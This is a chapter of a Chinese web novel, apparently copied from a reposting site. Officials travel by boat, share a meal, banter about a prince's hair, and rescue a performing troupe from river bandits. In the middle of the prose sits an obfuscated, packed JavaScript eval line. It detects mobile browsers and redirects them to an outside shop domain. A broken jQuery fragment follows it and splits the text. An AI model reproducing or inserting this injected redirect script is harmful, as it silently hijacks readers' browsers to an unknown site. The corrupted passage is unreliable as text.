夜幕将垂,翻腾的云雾掩盖住了不远处的叙永县。
这座被云雾笼罩着的小城在视线中,渐行渐远。
东风刮起水上的雾,脸上无端端被扑了一脸小水珠,风一吹,更冷了,冷得人打哆嗦。
一股暖和得发烫的热气忽然罩了下来,李希言抖了一下,转过头。
“李少使。”
容朗又换回了原来的称呼,可是听着还是让人脸上发烫。
“就算这儿没京城冷,也不能在这里吹凉风啊,”
李希言垂眼看着披在自己身上的披风。
长短正合适。
“在想什么呢?不说话?”容朗歪着脑袋,凑到她面前。
李希言睫毛颤了颤:“迷药。”
“你也想到了?”容朗眯着眼,“迷药一般分为两种。吸入和口服。但是不管是哪一种,都不会那么迅速的致人昏迷。至少,我没有见过这种迷药。”
“刺杀瑞王的人和偷盗密信的人是一拨人。还有那些刺客的死。”
奇特的毒药和迷药……
“绣衣司查了,没有任何头绪。”李希言看着前方灰黑色的云雾,表情很是沉重。
不能再这样被动下去了,她总感觉自己被一双手摆弄着……
容朗语气轻松:“总是和五王之乱的旧人脱不开关系。”
“五王之乱牵连的人众多,一个个查起怕是要用个好几年的时间。”李希言看着他,在等着他的回复。
她确实“居心不良”,算计着套他的话。
“等渤海王的儿子招了就好了。还没来得及跟你说呢,前几日,徐令诚来的信。这人确实厉害,竟然抓到了那人的孩子。”
这双眼睛似乎能够一眼看见底。
李希言心底生出一分羞愧。
“是个好消息。”
容朗猜得到她的心思,直接说道:“其实李少使关心此事可以直接问,我对你知无不言。”
太过直白的话让李希言沉默了。
“好了。我说这话又不是需要你回复我什么。”容朗又靠近了些。二人的肩膀几乎要靠在一起,“其实哥哥呢,是肯定不会真把渤海王的孙子给杀了,最多威胁威胁。不过,那些人肯定是不敢相信的。”
“陛下仁德。”
“当年之事本就是……说不清。死了那么多人,就是株连也株连够了。更何况,渤海王……还算是我们亲叔叔呢。”
“咳咳!”苗青做作的咳嗽声响起。
二人被吓得一个激灵,反而贴得更近了。
容朗捂着胸口,一脸心有余悸的模样:“吓我一跳。”
苗青震惊地瞪大了眼。
装什么啊!
“什么事?”李希言皱了皱眉。
苗青气结。
这是什么表情?难道我还能吓得到这个一拳头能轰开钟力的男人?原来还没发现……
他低着头闭上眼。
“羊肉汤好了,关姐让属下来叫人。”
等二人走到正厅内的时候,现场已经一片火热。
瑞王一瞧见二人就兴奋地招着手,还拍了拍自己身边的两个座位。
“快来!坐这儿!”
李希言走到他的右手边坐下,一边挨着关风和。
全场就只剩下瑞王左手边的位置。
关风和用余光瞟着。
很好,完美隔开了他。
然而,她根本没有料到容朗的脸皮厚度。
容朗就这样直挺挺地站在瑞王跟前,定定地看着他。
“嗯?”瑞王不明所以,拍了一下空位,“坐啊。”
容朗面色不改,点了一下他的肩膀:“你,坐这边。”
瑞王不由坐了过去,嘴巴还是不饶人。
“好好的,换啥位置,真是搞不懂。”
卫川看了一眼毫无所觉的李希言,急忙说道:“主要是少使特别烦您,不爱和您坐一块儿。”
他一定要阻止这个长乐王把窗户纸戳破!
关风和赞许地朝着他点点头。
她大手一挥:“开饭啊!都别客气。”
羊肉汤奶白奶白的,还冒着腾腾热气,上前洒满了绿绿的菜叶,清香解腻。
众人都动了筷。
味道确实很好,吃下去还让人觉得浑身暖融融的。
李希言吃了几口,都脱掉了披风。
“少使。咱们这次去交州要去一趟安南都护府吗?”
“不用。都护府那边没什么大事。主要还是要去平南侯侯府。”
关风和摸了摸鼻子:“要搞他们?”
“你这么说得……”李希言无言,“说得这么不好听。”
“哈。平南侯那家子破事儿一堆,还需要咱们亲自去动手?”
“到底是勋贵人家,在交州盘踞已久,一时之间找不到大的错处也是不好动手的。”
关风和忽然扯起了嘴角,笑得非常邪恶。
“王爷也和我们一起去吗?”
正在专心给李希言夹菜的容朗动作一顿。
“自然。”
“啧啧。”关风和砸着嘴,“就怕王爷到时候舍不得呢~”
“舍不得什么?”容朗放下筷子,“关校尉这是何意?”
关风和一脸似笑非笑的表情:“京城里的人都说王爷和平南侯家的小姐……”
“不认识。”容朗急忙瞟了一眼李希言,拂了拂袖子,语气坚定,“无稽之谈!”
“这个我作证啊!”瑞王飞快咽下嘴里的羊肉汤,举起手,“我小叔叔之前还闹着要当和尚呢,怎么会和哪家的小姐有牵扯?而且平南侯家的那个家教……”
他煞有介事的摇着头,一脸鄙夷。
容朗被他一番话说得心是落下又提起。
解释就解释提什么当和尚的事!
卫川大着胆子,趁机揶揄:“说来王爷这头发长得还挺快啊。”
“啥呀。”瑞王再次挡在了前面,“没长多长,当时他就剃了一块儿,短头发都束起来藏在发冠里呢。”
老底儿全部被掀的容朗气得胸口都胀气了。
众人没敢笑出声,但是一双双眼睛都在他的发冠上打转。
这实在让人窘迫。
“都吃饱了?”李希言忽然出声,手里还端着碗,表情却很是公事公办的模样。
关风和打着哈哈:“都吃饱了最好,我省点……”
“你抠门也有个下限吧?”卫川又从桌子中间舀起一大勺满满的羊肉汤,“继续!”
众人都收回了视线。
毕竟能够坑这个平时最抠门的同僚更重要些。
容朗低声在李希言耳边说着话。
“姐姐,我头发很奇怪吗?”
李希言手抖了一下。
“没有。”
见他声音都在发抖,李希言心里一软。
“你不说根本就看不出来。”
“真的?!”容朗黯淡的目光瞬间一亮。
“没骗你。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262358|144568||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
二人有一搭没一搭地说着话。
其余人也吃得热火朝天。
一时之间,那些笼罩在他们身上的阴霾似乎都消散了。
瑞王凑过来,趴在容朗手臂上,对着李希言问道:“李少使,大家都不喝酒吗?”
“在外办事,喝酒会误事。”
容朗一下想到了王佑年,忍不住笑了出来。
“你笑什么?”瑞王问道。
“没什么,就是,喝酒不仅误事,还会让人脑子变得不好,连男女都分不清。”
瑞王不明所以:“喝酒还伤脑子?”
“伤。”李希言一本正经,“你看那些酗酒之人,反应慢不说,还会行动迟缓。”
“最重要的是喝酒会让人无法自控。”容朗促狭道,“你想想要是有一日你喝醉了跑去大街上裸奔……”
“不!”瑞王光是想想就觉得可怕。
李希言忽然想起了之前的一件事:“原来听金吾卫的人说过,还真有人喝醉了干这种事。”
二人从未听说过,一下好奇地看了过来。
“还去敲了大理寺的门,和那晚刚刚准备下值的黄寺卿撞了个满怀。”
“怎么没听人说过!”瑞王抚掌。
这样猎奇的事情他竟然不知道?
“丢人啊。”容朗瞥了他一眼,补充道,“丢整个国都的人。”
这种事情闹大了,第一个收拾的就是金吾卫,谁会去声张呢?
“大人!”一个船工慌慌忙忙跑进来,对着李希言大喊,“前面有水匪。”
“水匪?”李希言挑了挑眉。
他们这次专门坐的官船啊,谁家水匪胆子大到劫官船?
船工连忙摆手:“不不不!是劫前头的一个船,被劫的船在求救。”
李希言放下筷子,跟着船工走了出去。
这一闹,其他人也停下了碗筷,去了甲板。
果然,如同船工所言,不远处,一艘精巧的小船只上有几个人举着火把对着他们大喊。
“救命!有水匪!”
在小船后紧随着一艘大些的船,两船之间相隔不过一丈的距离。
没有哪个船航行不需要保持距离,一看就知道是这大船上的水匪想要登船了。
“开过去!”李希言立即下令。
在水上讨生活的人见到这种情况是必须要出手。
船工们早就调整好了方向,只等她一声令下,就拉紧帆加速开了过去。
水匪也不傻。
官船的船头上都绘着显眼的彩绘图案。
谁会和官船硬碰硬?
是以,船只还未到跟前,水匪的船就跑远了。
小船上的人一下松了口气。
“多谢各位大人。”
李希言朗声问道:“可有人受伤?”
小船上的一个船工有些不好意思地挠了挠头。
“没人受伤,就是这船……这船坏了。”
“船坏了?”遇袭的阴影让李希言的心一下提到了嗓子眼儿。
“嗯……”船工话还未说完,身体就一沉。
船只已经开始下沉。
船舱内跑出一个中年男子,看着很是沧桑,一双手粗糙得不得了。
他耷拉着着眉毛,朝着李希言拱手道:“大人,我们是交州的戏法班子,这次回交州是为了给平南侯的老夫人贺寿。”
这话解了李希言的顾虑。
她侧开身,对着船工嘱咐:“把人都接上来。”